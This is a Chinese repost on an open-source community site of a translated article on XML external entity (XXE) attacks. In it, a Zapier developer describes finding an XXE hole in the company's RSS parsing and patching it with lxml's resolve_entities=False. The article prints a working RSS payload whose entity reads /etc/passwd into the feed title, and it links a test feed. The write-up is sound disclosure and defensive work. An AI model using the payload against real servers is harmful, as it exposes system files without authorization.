设为首页收藏本站

LUPA开源社区

 找回密码
 注册
文章 帖子 博客
LUPA开源社区 首页 业界资讯 技术文摘 查看内容

没人想要 XML 里的 ENTITY 部分

2014-12-20 21:03| 发布者: joejoe0332| 查看: 816| 评论: 0|原作者: 开源中国七里香, 北风其凉, LeoXu|来自: oschina

摘要: 如果你的服务器使用RSS源,可以使用这个网址测试你的应用。今年早些时候,Detectify 的Fredrik和Mathias写了一篇post,解释了他们是怎么在一个传统谷歌产品中发现的一个主要XXE(“XML External Entities Exploit” ...

  如果你的服务器使用RSS源,可以使用这个网址测试你的应用。




  今年早些时候,Detectify 的Fredrik和Mathias写了一篇post,解释了他们是怎么在一个传统谷歌产品中发现的一个主要XXE(“XML External Entities Exploit”)。


  他们创建一个XML有效负载,当上传到Google后,会从目标服务器的文件系统中回显任何他们想要的文件。


  该文章上了Hacker新闻首页,引起了我的注意。这个漏洞对我来说很新奇,我很好奇我是不是可以使用同样的技术来探索Zapier(我的电脑)。

原作者没有准确的显示或解释该漏洞,除了它涉及到XML解析。我花了几个小时学习、搜索逆向研究到底XXE攻击是个什么东西,它是怎么应用到Zapier.


  解析XML并不是构建网络应用最流行的方式,但有一个很大的例外:RRS订阅源-它是建立在XML之上的。


  在了解到这些后,我可以创建一个包含ENTITY这种邪恶标签的RSS负载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>


  测试有效载荷的一个快速的方法就是使用类似 pastebin或 gists的文本托管服务。就gists而言,Github甚至会根据文件的扩展名更正首部的content-type。


  我跳过Zapier建立了一个Zap(这个Zap用到了一个被当做触发程序的RSS),加载测试步骤...



  WOW!这太脆弱了。不要相信LXML's的默认设置。我们发布了一个补丁,在这个补丁包中我们随处可以触碰到XML:



  这个Python LXML库的补丁使用起来非常简单,在你使用它的时候将resolve_entities属性设置为false就可以了:

from lxml import etreeparser = etree.XMLParser(resolve_entities=False)


  可笑的是,如果我们用我们自己整出来的XML解析,而不去碰标准的库,我们的系统就不会这么脆弱不堪了。

顶级的HN评论员当时说道:

在大型的生产环境中药避免出现问题几乎是不可能的 - 其中一些问题将会非常令人厌烦. 卓越的、具有安全意识的公司因其对待这些问题方式而显得卓尔不凡


  像这样的问题其实是我们的责任 —— 尽管Zapier过去只是一个要小得多的公司(只有八九个人),我们也适时的决定要去实现一套问题悬赏程序

而到如今另一个HN线程则提醒了我,要搞砸XML解析是多么的容易.


  而这里有一个可以在你自己的系统上运行的快速测试. 特别是如果你的应用会使用RSS种子的话,就要尝试使用下面这个URL作为种子,来看看会有什么问题发生:

https://gist.githubusercontent.com/mik…


  如果你的服务器是脆弱的,你就会在的UI界面上展示RSS文章标题的地方看到有 /etc/passwd 这样的内容显示.


酷毙

雷人

鲜花

鸡蛋

漂亮
  • 快毕业了,没工作经验,
    找份工作好难啊?
    赶紧去人才芯片公司磨练吧!!

最新评论

关于LUPA|人才芯片工程|人才招聘|LUPA认证|LUPA教育|LUPA开源社区 ( 浙B2-20090187 浙公网安备 33010602006705号   

返回顶部